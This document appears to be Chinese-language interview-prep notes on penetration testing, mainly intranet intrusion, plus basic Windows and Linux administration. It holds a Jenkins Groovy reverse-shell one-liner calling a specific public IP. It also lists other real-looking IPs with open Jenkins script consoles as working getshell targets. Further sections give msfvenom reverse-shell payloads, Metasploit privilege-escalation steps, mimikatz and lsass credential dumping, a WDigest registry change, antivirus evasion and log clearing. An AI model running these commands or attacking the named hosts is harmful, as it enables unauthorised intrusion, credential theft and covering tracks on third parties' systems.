https://github.com/guchangan1/All-Defense-Tool?tab=readme-ov-file
渗透工具

src挖掘技巧总结分享 - 先知社区(pdf) https://xz.aliyun.com/t/14211?time__1311=mqmx9QiQi%3DE4lxGgpDymDnifeDt7we5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12495%3Ftime__1311%3DmqmhD5AKYKBKDK0QD%252FzTy4iuRi%252BL5qx%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com%252F

https://github.com/arch3rPro/PentestTools 渗透工具

https://github.com/arch3rPro/Pentest-Windows Windows上的Kali

万字长文:智能汽车十大网络安全攻击场景 - 安全内参 _ 决策者的网络安全知识库

PDF(https://www.secrss.com/articles/59967)

https://github.com/nomi-sec/PoC-in-GitHub

https://vuldb.com/?my.profile漏洞库

https://vulhub.org/

做题和挖洞本身差不多,*都是思路要打开 *

挖洞时候利用一切能用到的信息,报错,武器库

做题只是多了点提示,而且很多在公共平台也有wp(题目出的不严谨 )

第一章 内网

一、说一下你的内网渗透测试思路

  • 攻击外网服务器,当做跳板再攻击内网(达到攻击要求)。安装后门,清理痕迹

  • 攻击内网(办公室的系统,电脑,无线)

  • 对外敏感信息:各类有权限的个人电脑/服务器/邮件服务器/OA/DS等等

  • 攻击过程:信息收集,POC验证,POC利用,后渗透,日志清理

  • 信息收集:(主机存活和域名搜集等)

    • 主机发现(Kali)等工具
      • 端口扫描 Nmap Masscan Metasploit 端口的nc连接
      • (已经授权)漏扫(绿盟极光,Nessus,Nexpose)
      • 注意区分各种内网环境,比如办公网/服务器网/管理网段
  • POC:端口找到后nc看banner,然后去漏洞库找相应的CVE(然后验证)/或者根据扫出来的直接看漏洞

  • CVE编号对应的 ExploitDB 、seebug/Github上看看有无工具

  • 攻击:

    • Web

      • 攻击对外的Web应用(相关的注入 上传 代码执行 文件包含等) 获取权限/拿数据; 如果能扫描的话这里WVS扫描或者Sqlmap XSSstrike工具等都可以

      • Web中间件相关:

        • Tomcat:8080 弱口令+爆破/tomcat5 默认角色是tomcat和role1 密码一般是tomcat(版本小于5) / War后门文件 / RCE

        • Jenkins 弱口令+未授权访问,能进站就提权+getshell

          println’bash -i >& /dev/tcp/47.97.253.106/9999 0>&1’.execute().text (http://103.6.244.121:8080/script)未授权访问的getshell 对应命令在https://forum.ywhack.com/shell.php生成,这个站还是个root(working)

        • http://121.40.24.5:8080/script

        • inurl:.php?id=、inurl:asp?id=、inurl:Show.asp?Id= 构造一下相关的搜索(有安全狗的,对应安全狗的绕过)

        • IIS中间件的洞

        • Jboss(J2EE容器)端口也是8080,比Tomcat多了一个反序列化

        • Weblogic:7001/7002

          • 弱口令、爆破,弱密码一般为weblogic/Oracle@123 or weblogic

          • war后门

          • ssrf CVE-2014-4210:/uddiexplorer/SearchPublicRegistries.jsp 可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-typehttps://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

            • Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
          • 反序列化

          • weblogic_uac

        • WebSphere:默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090

          • 弱口令 admin/admin 以及 webshpere/webshpere
          • 反序列化
          • 任意文件泄露
        • Web框架

          • Strucs2

            • S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
            • S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
            • S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1
            • S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28
            • S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16
            • S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1
            • S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15
            • S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14
            • S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1
            • S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1

            参考:

          • Spring

            • 可利用漏洞:
            • CVE-2010-1622
            • CVE-2018-1274
            • CVE-2018-1270
            • CVE-2018-1273
            • 反序列化
            • 目录穿越
          • Web服务器:80

            • IIS
              • WebDav
              • 短文件名枚举
              • RCE
              • 提权
              • 解析
            • Apache
              • 解析漏洞
              • 目录遍历
            • Nginx
              • 解析漏洞
              • 目录遍历
              • CVE-2016-1247:需要获取主机操作权限,攻击者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限
            • lighttpd
              • 目录遍历
    • 运维相关工具,主要是通过工具的弱点进站

      • Gitlab (Ruby on Ralis)

        • 任意文件读取
        • 任意用户 token 泄露
        • 命令执行
      • Jenkins(CI/CD)交付

        • 远程代码执行
        • 反序列化
        • 未授权访问
        • 登录入口的爆破(弱口令)
      • Puppet (管理IAC 基础设施)

        • 反序列化
        • 远程命令执行
      • Ansible (自动化运维) 支持Unix Linux和Windows,使用Json和Yaml

        • 远程代码执行

        • 绝对路径遍历攻击(CVE-2023-5115)

        • sudo堆溢出漏洞(CVE-2021-3156)

    • Web应用

      • 邮件
      • CMS
    • 数据库/缓存/消息服务

      • 数据库
        • Mysql 3306
          • 弱口令
          • 身份认证漏洞:CVE-2012-2122
          • DoS
          • 万能密码‘localhost’@’@”
          • SA提权
        • Oracle 1433 1434(monitor)
          • 弱口令
          • 注入
        • PostgreSQL 5432
          • 爆破:弱口令:postgres postgres
          • 缓冲区溢出:CVE-2014-2669
        • MongoDB 27017
          • 弱口令
          • 未授权访问(EXP在github)
        • Redis 6379
          • 弱口令
          • 未授权访问和ssh key提权
        • SysBase DB2等
    • 服务/协议

      • FTP :20(数据) 21(控制)

        • FTP爆破(Bruter/msf的ftp模块)
        • 匿名访问 (anonymous / 空或email)
        • 嗅探
        • 后门 vsftp
        • 远程溢出
        • 跳转攻击
      • NFS(FreeBSD)

        • 未授权访问
      • Samba服务(SMB)

        • 远程代码执行
        • 弱口令
        • 未授权访问
      • SSH 22

        • 爆破 后门
        • 28退格 OpenSSL
        • CVE-2015-7755: Juniper ScreenOS认证后门
        • 硬编码漏洞(利用内置账号)
      • telnet 23

        • 爆破 嗅探
      • Windows远程连接

        • 3389
        • 爆破
        • shift粘连后门
        • Ms12-020
        • Ms170
      • VNC 5901 5902

        • 爆破
        • 弱口令
        • Dos
        • 提权(CVE -2013-6886)
      • SMTP POP3 IMAP 爆破,未授权访问

        • POC:

          /coremail/common/assets/:/:/:/:/:/:/s?

          biz=Mzl3MTk4NTcyNw==&mid=2247485877&idx=1&sn=7e5f77db320ccf9013c0b7aa7262

          6688chksm=eb3834e5dc4fbdf3a9529734de7e6958e1b7efabecd1c1b340c53c80299ff5c688b

          f6adaed61&scene=2

    • 云环境

      • VMware
        • 主机逃逸
        • CVE-2017-5638
      • OpenStack
        • 权限绕过
        • 信息泄露
        • 代码执行
      • Docker
        • 镜像投毒
        • Docker逃逸
  • 后渗透

    • 提权

    • 域渗透

      • 通常域内渗透的过程:

        • 确定目标系统和应用程序
        • 识别潜在的漏洞
        • 利用漏洞获得初始访问
        • 提升权限
        • 定位域管理进程或者获取远程系统上的本地身份验证令牌
        • 通过本地管理员的密码Hash,破解密码,使用mimikatz工具抓取密码验证运行在远程系统上的域名管理进程
        • 迁移域管理进程
        • 创建一个域管理员

        假设到这里已经从外网或内网利用漏洞入侵到到一台服务器,并且通过提权获取了主机管理员权限,接下来要做的工作是获取域管理员权限,并找到敏感数据。

        通常会使用到的工具:

        • Empire
        • PowerUp
        • PowerView

        一般熟练使用一种就够用了,以 Empire 为例:

        Empire 和 Metasploit 的使用原理是一样的,都是先设置一个监听,然后去生成一个木马,然后在目标主机运行该木马,我们的监听就会连接上反弹回来的代理。

        参考:

        域渗透另外一个工具 mimikatz,用于抓 Windows 密码,使用参考:

    • 建立后门/端口转发

      • LCX:windows下面的端口转发软件。
      • sockscap:主要针对windows平台的端口转发和代理转发。
      • proxifier:跨平台的端口转发和代理工具,适用windows,linux, Macos平台,代理转发利器
      • Rsscoks:*nix平台下的端口转发和代理工具,配合proxychains好用 到不行。
      • Proxychains:*nix平台下老牌的socks代理工具,一般的系统都会自 带,谁用谁知道。
      • ssh proxy:通过ssh做端口代理和转发,一般*nix系统都自带。
      • netcat:socat,hping,在很多情况下可以做端口转发和数据代理转 发。
      • metasploit:metasploit的后渗透模块中有不少代理模块和端口转发 模块。
      • https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
      • https://www.offensive-security.com/metasploit-unleashed/msfvenom/
  • 日志清理

二、说一下你印象最深的一次内网渗透经历?

  • 自由发挥
  • 主要针对以上思路,可以说一下自己挖的未授权访问和一些简单的弱口令

三、内网渗透测试工具有哪些?https://forum.ywhack.com/bountytips.php?BypassAV 棱角社区

四、说一说常见的内网信息收集 https://www.ddosi.org/b352/

  • nebscan(windows) netbios(内网)
  • arpscan
  • ping:for /L %I in (1,1, 254) do @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”
  • Invoke-ARPScan.ps1: powershell.exe -exec bypass -Command “& {Import-Module c:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.1/24}” >> c:\log.txt
  • cping:cping scan smbvul 10.33.93.1 10.33.93.1
  • qs.exe:qs alive 192.168.1.1/24
  • dnsbrute:
  • F-NAScan.py
  • Hscan
  • s.exe: s.exe tcp 192.168.1.1 192.168.1.254 445,1433,3389,7001 256 /Banner /save
  • scanline: scanline -h -t 20,80-89,110,389,445,3389,1099,7001,3306,1433,8080,1521 -u 53,161 -O c:\log.txt -p 192.168.1.1-254 /b
  • Invoke-Portscan.ps1:Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ScanPort [探测存活 -ResolveHost]
  • K8PortScan.exe
  • F-NAScan.py
  • nmap
  • 敏感信息收集

    • 密码抓取

      • GetPass
      • fgdump
      • GetHash
      • WCE
      • PwDump7
      • QuarksPwDump
      • mimikatz
      • Procdump
      • Get-PassHashes.ps1
      • lazagne
      • lc5
      • mimipenguin
      • InternalMonologue
      • gsecdump
      • Invoke-Mimikatz
      • Procdump
      • PowerSploit.psd1
      • Responder.py
      • NTDSDumpEx.exe
      • Net-GPPPassword.exe
      • Get-GPPPassword.ps1
    • 浏览器

      • BrowserGhost
      • WebBrowserPassView
      • passrec全家桶
      • SharpWeb
    • 其它应用

      • 邮件客户端

        • mailpv.exe
      • Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品

        • SharpDecryptPwd.exe
      • teamviewer

        • tv_getpass.exe
      • RDP

        • rdpv.exe
      • 主机信息收集

        • Seatbelt

五、内网如何横向渗透?

  • 横向移动
    • 漏洞利用
      • ms17_010_eternalblue
      • Ladon+MS17010EXP.ps1
      • MS14-068.EXE
      • ms14_068_kerberos_checksum
      • pyKEK
      • goldenPac.py
    • SPN探测
      • setspn
      • Discover-PSInterestingServices.ps1
      • GetUserSPNs.exe
    • WMI
      • wmiexec.py
      • wmiexec.vbs
      • Invoke-WmiCommand
      • Invoke-WMIMethod
      • Get-WMIObject
      • Get-CimInstance
      • wmiexec.exe
      • wmipersist.exe
      • wmiquery.exe
    • 枚举用户名
      • enum.exe
      • hunter.exe
      • lg.exe
      • AdFind.exe
      • dsquery.exe
      • GetADUsers.exe
    • SMB
      • psexec
      • crackmapexec
      • wmiexec.exe
    • 定位域管理员
      • PVEFindADUser.exe
      • qs.exe

六、内网横向渗透有什么思路?

同上,可以多点后门

  • 后门
    • shift后门
    • 注册表后门
    • 计划任务后门
    • QuasarRAT
    • cobaltstrike
    • DLL_Hijacker

七、了解内网提权吗?

猜测+拆解,弱口令

  • 弱口令爆破

    • 御剑RDP爆破工具
    • nbtenum
    • hscan
    • htpwdScan.py
    • 超级弱口令检查工具
    • 路由器密码扫描
  • 提权工具

    • Windows Exploit Suggester
    • Sherlock
    • Linux_Exploit_Suggester
    • PowerUp.ps1
    • Invoke-PsUACme
    • rottenpotato.exe
    • ADAPE-Script
    • Invoke-ACLPwn.ps1

八、内网的hash传递原理是什么 https://www.cnblogs.com/0x7e/p/14384523.html

  • 远程桌面(3389)和文件共享(445)都使用的是ntlm进行认证。

  • 在传递的过程中必须得有hash值,在内网渗透的时候已经提前拿下了一台主机的控制权限。(在win10电脑上抓明文密码是抓不出来的,电脑上的密码存放在SAM文件中,在SAM文件中存放着的是ntlm哈希。)

  • 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

  • exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。

    这里目标主机的Windows Vista之后的机器,所以只能使用administrator用户进行攻击。

基于NTLM缺陷的一种攻击方式,利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

NTLM
为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议

LM Hash的计算方式如下:

先将用户明文密码转换为十六进制格式。

将十六进制格式的密码进行Unicode编码。

使用MD4摘要算法对Unicode编码数据进行Hash计算。MD4无法进行逆推)

九、内网中除了哈希传递攻击还有什么方式免密登录到其他的机器?(区别工作组和域)

  • 首先是哈希传递:PwDump7
  • mimikatz(读密码)
  • at/net 传递计划命令(现在叫schtasks)
  • 开启admin共享并且没开防火墙:Psexec(MSF中有),
    • 要求主控要是administrator(工作组)域内因为有安全限制(不同domain不能访问)可以不用,但是对权限有要求
    • exploit/windows/smb/psexec
    • exploit/windows/smb/psexec_psh
    • exploit/windows/smb/ms17_010_psexec

十、内网怎么去找到域管理员的机器?

a、查看域用户,普通域用户权限即可:net user/domain

b、查看域管理员: net group “domain admins” /domain

c、 快速定位域控ip(定位时间 DNS服务器,看回显,然后ping): net time /domain ping

nslookup -type=all _ldap._tcp.dc._msdcs.jumbolab.com

d、域控制器 net group “domain controllers” /domain

  • 后续还有会话收集,管理员登录过哪些机器、机器被谁登录过
  • NetSessionEnum api

十一、现在菜刀连接了一台内网主机,怎么快速地登录上线

  • PDF-内网主机渗透

  • 一般情况是中转,即攻击了一台出网的机器,内网好多都不出网,用这台出网的机器中转

    • 上线方法1:SMB Beacon(接受445端口的链接)

    • https://github.com/snail007/goproxy 使用HTTP代理

  • 上传proxy到边缘主机。在8080端口开代理,用netsh命令将内网端口重定向到主机的8080端口

    • 或者iptables转发

十二、在内网中用 nmap 扫描,怎样让对方发现不了?

  • ping扫
  • 空闲扫
  • 随机长度扫
  • 诱饵/欺骗扫
    • 这种包含 碎片化发包
    • 包含 伪造多个IP
    • 如果防火墙基于端口(比如不常见端口或者常见端口)可以指定
    • MAC地址欺骗

十三、已经通过 webshell 进入内网,发现内网中有一台服务器你的后续攻击思路是什么?内网机器有杀软怎么拿 shell?

  • 内网有服务器思路如上,基本从收集信息、水平/垂直越权、找域控传木马等
  • 内网有杀软:tasklist /svc
    • 考虑免杀
    • CS上传木马不行(会杀),找github或者一些网站(棱角等)的免杀code
    • 传到目标机器,执行命令,上线CS
    • 一般情况下杀软会自动重启,还是不要乱kill

十四、给你一个待上线的内网系统你如何测试?

一些命令:

  • Whoami/whoami /priv

  • systeminfo

  • Netstat -ano

  • Shell ifconfig /all

  • shell arp -a

  • Shell systeminfo Dominio(是否存在域)

  • 开始收集资料:

    • SAM密码文件

    • system文件位置:C:\Windows\System32\config\SYSTEM sam文件位置:C:\Windows\System32\config\SAM

    • Windows敏感文件

      • 查看最近打开的文档 dir %APPDATA%\Microsoft\Windows\Recent

      • 递归搜索后面文件的password字段 findstr /si password config.* *.ini *.txt *.properties

      • 递归查找当前目录包含conf的文件 dir /a /s /b "*conf*" > 1.txt

      • 递归查找目录下的txt中的password字段 findstr /s /i /c:"Password" 目录\*.txt

      • 递归查找目录下的敏感文件输出到桌面123.txt中 for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo %i >> C:\tmp\123.txt

      • 指定目录搜索各类敏感文件

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        dir /a /s /b d:\"*.txt"
        dir /a /s /b d:\"*.xml"
        dir /a /s /b d:\"*.mdb"
        dir /a /s /b d:\"*.sql"
        dir /a /s /b d:\"*.mdf"
        dir /a /s /b d:\"*.eml"
        dir /a /s /b d:\"*.pst"
        dir /a /s /b d:\"*conf*"
        dir /a /s /b d:\"*bak*"
        dir /a /s /b d:\"*pwd*"
        dir /a /s /b d:\"*pass*"
        dir /a /s /b d:\"*login*"
        dir /a /s /b d:\"*user*"
      • 收集各类账号密码信息

        1
        2
        3
        4
        5
        findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
        findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
        findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
        findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
        findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    • 横向渗透(同上)

      • 也可以考虑内网穿透frpc穿到机器
    • msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c

    • 生成的shellcode添加到潮汐shellcode免杀中,生成exe文件

    • 如果不能,多试几个免杀ant-antv / Cuiri / AniYa

    • 都不能就试试别的吧

  • 总体思路就是:进内网,看信息,绕扫描(然后自己扫),看漏洞,跑漏洞(MSF/CS),免杀shell,传出/清理

十五、给你一个网站域名,怎么拿内网系统的权限?

十六、内网中给你 admin 的账号怎么获取密码?

  • minikatz

    原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。

    需要注意的是当目标为win10或2012R2以上时,默认在内存中禁止保存明文密码,但是我们可以通过修改注册表的方式抓取明文,输入以下命令即可:

    Reg add HKLM\SYSTEM\CurrentContro

    lSet\Control\SecurityProviders\WDigest /vUseLogonCredential /t REG_DWORD /d 1 /f

  • Mimikatz读取明文密码和hash时需要管理员权限。

    privilege::debug //提升至debug权限

    sekurlsa::logonpasswords //抓取密码

  • Procdump+Mimikatz离线读取lsass.dmp文件

    Procdump是微软官方发布的工具,可以用来将目标lsass文件导出。先在目标机器上上传Procdump,导出lsass.dmp

    procdump64.exe-accepteula-ma

    lsass.exe lsass.dmp

十七、给你一个网站 shell 你会怎么打内网?

从外网到内网的渗透姿势分享 - 先知社区(本地PDF)

  • 总结一下:
    • 找框架和中间件漏洞(如果没有0day就是直接用已公开的)s2和weblogic等RCE漏洞
    • 用现有的工具批量扫描,或者写脚本指纹探测、检测漏洞,或者Nessus或者AWVS检测
      • 工具 .net或者好用的都行
      • Struts2漏洞检查工具2018版
    • 撞库漏洞,无验证码情况下登录比较爽
    • 字典(用户名和密码字典)+验证码绕过
    • 超级弱口令检查工具
    • 内网数据库爆破
      • 这里推荐使用 F-Scrack 和 DBScanner 工具,在 github 上面都有,进入内网之后弱口令比较多,扫描爆破的效果还是不错的。
    • webshell + 内网

十八、给你一个场景你的电脑连上了内网,给你一个 ip192.1.1.1 访问,访问不到,怎么进行信息收集?

同上

十九、怎么利用 xxe, log4g2 去打内网?

]> John, Doe I love XML Computers 9.99 2018-10-01 &xxe;

  • 命令执行
  • 端口扫描
  • XXE学习 - Von的博客 _ Von Blog (PDF)

二十、说一下内网渗透和域渗透的一个区别和渗透方式

A类 10.0.0.0–10.255.255.255 B类 172.16.0.0–172.31.255.255 C类 192.168.0.0–192.168.255.255

  • 逻辑上相似,但是域渗透因为安全边界的问题和工作组渗透有所区别
  • 个人认为内网渗透包含了域渗透,毕竟有的内网环境不是域环境
  • 渗透方式(域渗透)
    • 域的信息收集(域控的查找,域的收集)
    • 域的权限提升(hash dump)
    • 域的hash传递
    • 普通内网渗透(常规,各类欺骗攻击)
      • 就是各类msf或者kali(Windows漏洞)
      • 或者部署在某个机器上的某个端口和服务

二十一、给你一个不出网的 linux 服务器,当前权限为iis,怎么渗透?

  • windows-exploit-suggester.py 就是看当前服务器的漏洞和相应信息

    • msf:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      # 生成并上传反弹shell
      msfvenom -p windows/shell/reverse_tcp lhost=IP lport=12388 -a x86 --platform win -f exe -o a.exe

      # 监听目标端口
      msf5 > use exploit/multi/handler
      set lhost IP
      set lport 12388
      run

      # WebShell中运行a.exe,捕获会话后输入
      background
      use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
      set session 1
      run
    • 提权(传小马等等)然后minikatz抓管理员

二十二、内网漫游以及如何提权?

安全攻防 _ 记一次sql注入到内网漫游 - 网安 (PDF)

  • 利用洞
  • 上工具
  • 扫端口
  • 免杀/绕过/提权
    • 内网学习路线整理 - 先知社区(提权)
    • 包含了msf自动化提权等
      • PsExec.exe -s -i -d cmd
    • docker提权

二十三、内网遇到 docker 环境如何逃逸?Docker逃逸

二十四、内网代理工具有哪些?

二十五、怎么样才能收集到内资产?03-如何快速搭建网络资产的信息收集_awvs有资产收集的功能吗-CSDN博客(PDF)

  • 试试实验室的局域网吧

  • 内网信息收集

    • 域/组内的OS识别:大小写 TTL 组合对应(例如IIS/MSSQL/Windows)这类组合
    • 架构资产
    • 源码资产
    • 域名资产
  • 源码收集

    • 备份的压缩
    • 网站的git源码
    • svn源码泄露
    • bazaar/bzr泄露
    • Web-inf/web-xml
    • ds_stroe
    • github
    • wafwoof
    • 这种还是要多多利用![image-20240428150537735](/Users/cassiopeia/Library/Application Support/typora-user-images/image-20240428150537735.png

二十六、fscan 是否用过?内网穿透工具有哪些?

  • https://github.com/shadow1ng/fscan (本机也有)

    • 信息收集icmp
    • 端口扫描
    • 爆破(ssh,smb,rdp,sql,oracle,redis)
    • netbios和域控识别
    • 网卡
    • ms170
    • web探测 cms和oa等 weblogic st2 xraypoc的support
    • 漏洞利用
      • redis写公钥
      • ssh 命令执行
      • shellcode等
  • frp

  • localtunnel

  • chisel

第二章 操作系统

一、怎么查看 windows 和 Linux 的日志?

  • Windows用计算机管理里面的事件查看器 cmd的eventvwr.exe

  • 命令 tail -f -n 5 /var/log/syslog 这里有more grep head cat等,或者重定向

  • 善用管道符 | more

  • less比more好用一点,more不支持回滚,less应该是开了一个新的进程

  • 后几个都是Linux的,

二、说一下常见 Windows 和 linux 的命令

SNo. Windows Linux Description

  1. dir ls -l Directory listing
  2. ren mv Rename a file
  3. copy cp Copying a file
  4. move mv Moving a file
  5. cls clear Clear Screen
  6. del rm Delete file
  7. fc diff Compare contents of files
  8. find grep Search for a string in a file
  9. command /? man command Display the manual/help details of the command
  10. chdir pwd Returns your current directory location
  11. time date Displays the time
  12. cd cd Change the current directory
  13. md mkdir To create a new directory/folder
  14. echo echo To print something on the screen
  15. edit vim(depends on editor) To write in to files.
  16. exit exit To leave the terminal/command window.
  17. format mke2fs or mformat To format a drive/partition.
  18. free mem To display free space.
  19. rmdir rm -rf/rmdir To delete a directory.
  20. taskkill kill To kill a task.
  21. tasklist ps x To list running tasks.
  22. set var=value export var=value To set environment variables.
  23. attrib chown/chmod To change file permissions.
  24. tracert traceroute To print the route packets trace to network host.
  25. at cron daemon to execute scheduled commands.
  26. type cat To print contents of a file.
  27. ping ping To send ICMP ECHO_REQUEST to network hosts.
  28. nslookup nslookup To query Internet name servers interactively.
  29. chdisk du -s For disk usage.
  30. tree ls -R
    To list directory recursively.
  31. mklink /D <软链接目录> <源目录> ln -s <目标目录> <软链接地址> 创建软链接

三、说一下 windows 和 linux 的安全加固

  • Linux:

    • 修改ssh的配置文件(服务器上比较常见)修改root直接登录

      vim /etc/ssh/sshd_config

      PermitRootLogin no

      systemctl restart sshd

    • 密码配置相关

      • 位数
      • 重试次数
      • 账户锁定
      • su root的方式限制(不能非法提权)
      • ICMP不响应
    • firewalld防火墙

  • Windows:

    • 3389修改
    • SAM账户的匿名枚举策略关闭
    • 审核对象访问
    • 445端口漏洞(Microsoft文件和打印机共享)
    • (如果算的话)密码加固
    • Windows Defender和相关firewall

四、说一下 windows 系统 webshell 提权方式

  • 前期搜集:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    查询系统信息
    systeminfo
    如果要查看特定的信息,可以使用
    systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
    主机名
    Hostname
    环境变量
    Set
    查看用户信息
    Net user
    查看服务pid号
    Tasklist /svc|find "TermService"
    netstat -ano|find "3389"
    查看系统名
    wmic os get caption
    查看补丁信息
    wmic qfe get Description,HotFixID,InstalledOn
    如果要定位到特定的补丁可以使用如下命令
    wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
    查看当前安装程序
    wmic product get name,version
  • 首先还是信息收集

    • OS 补丁 杀软 软件
    • 端口
  • 根据上述收集到的信息然后定向利用

    • 溢出漏洞(Pr提权)

      • IIS6.0 中间件解析漏洞(建立.asa .asp格式的文件夹时候时,目录下任意文件都会被当做asp解析)
      • .asp;1.jpg也会被当做
      • 连接webshell,传cmd(或者看看有无虚拟终端)
      • 查看权限
      • 查看补丁
      • 提取
      • pr提权(传exe)这里可能涉及到的是免杀
    • 这里需要WIndows分析,比如分析Windows服务器上查询可利用的漏洞

    • 提权学习之旅——Windows操作系统提权 - 先知社区 (PDF )

五、 windows 有哪些漏洞?

六、怎么在 windows 查看指定进程名?

  • netstat -ano | findstr “port”
  • 任务管理器
  • Linux:
    • ps -ef | grep “task”
    • Netstat -nap | grep “pid”
    • Lsof -i:port

七、详细讲讲 windows 提权和 linux 提权

  • 在提权哪里应该已经说了,这里不多赘述,后续专门提取放一个章节(各类提权)

八、说一下 linux crontab 自启后门、windows 自启后门

九、如何手工快速判断目标站是 windows 还是linux 服务器

十、有用 windows/linux 搭建过服务吗?

  • 搭过一些网站,CTF的靶场,还有一些本地的题目环境
  • 还有一些nginx等服务
  • 博客
  • k8s集群 上边跑了一个数据库demo
  • 机器人
  • 之后的可能就是gpt3.5或者gpt4了

十—、在 Linux 中,虚拟机网络连接方式为桥接模式,如何配置静态地址?

  • 桥接定义:和物理机网络适配器交接 虚拟机可以访问外网(和局域网内新加入机器一样,理论上和物理机的网络同级)

  • 静态ip:ip addr

    • 查到网卡label(例子是eth33 也有en0什么的)

    • 编辑网卡的文件 vi /etc/sysconfig/network-scripts/ifcfg-eth33

    • 修改:BOOTPROTI=static ONBOOT=yes

    • IPADDR=172.20.10.6 NETMASK=255.255.255.0 GATEWAY=172.20.10.1

    • Linux命令

      1
      systemctl restart network
  • /etc/sysconfig/network 添加网关

  • 其余问题出现了再去搜索或者看看怎么解决 小问题

十二、Linux 系统下进行文件包含,一般包含什么文件?

  • 首先是文件包含的定义:

    • 如果文件包含函数没有经过严格的过滤或者定义 并且参数可以被用户控制 这样就有可能包含非预期的文件。
    • 如果文件中存在恶意代码,无论文件是什么类型 恶意代码都会被解析。
    • 文件包含漏洞可能会造成服务器的网页被篡改,网站被挂马,服务器被远程控制,被安装后门等危害
  • PHP文件包含函数有以下四种:

    • include()
    • inclued_once()
    • require()
    • require_once()

    require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。 include()/include_once(): 如果在包含过程中出错,只会发出警告

    加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含

    当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析

  • 文件包含漏洞示例代码如下:

    1
    2
    3
    4
    <?php
    $file=$_GET['file'];
    include $file;
    ?>

    上面的代码没有对$_GET['file']参数进行严格的过滤,直接代入到了include中去,攻击者可以传递file参数的值来达到攻击的目的,比如?file=../../etc/passwd来实现窃读密码文件的目的。

  • Windows下常见敏感文件

    目录 内容
    \boot.ini 系统版本信息
    \xxx\php.ini PHP配置信息
    \xxx\my.ini MYSQL配置信息
    \xxx\httpd.conf Apache配置信息
    • Linux下常见敏感文件
    目录 内容
    /etc/passwd Linux系统账号信息
    /etc/httpd/conf/httpd.conf Apache配置信息
    /etc/my.conf MySQL配置信息
    /usr/etc/php.ini PHP配置信息
    /var/log/apache2/access.log
    /var/log/apache2/error.log
    /var/log/auth.log 认证日志
  • ⽂件包含漏洞 - PDF

十三、linux 某端口被占用了怎么办?

  • 查出是什么占用了端口:netstat -t/u/n/l 或者 lsof -i
  • 如果能kill的服务或者端口就kill掉,如果不能就只能换一个端口了
  • 等待端口释放

十四、Linux 抓包用什么?

  • TCP DUMP

十五、kali Linux 是什么?

渗透审计啥都有的一个虚拟机系统,我电脑还有一个呢(一个Linux环境,集成了挺多工具的,msf,cs都有)

十六、说一下 Linux 系统常见的日志文件

路径1:/var/log/messages:记录 Linux 内核消息及各种应用程序的公共日志信息

路径2:/var/log/cron:记录 crond 计划任务产生的事件信息

路径3:/var/log/dmesg:记录 Linux 操作系统在引导过程中的各种事件信息

路径4:/var/log/maillog:记录进入或发出系统的电子邮件活动

路径5:/var/log/lastlog:记录每个用户最近的登录事件

路径6:/var/log/secure:记录用户认证相关的安全事件信息

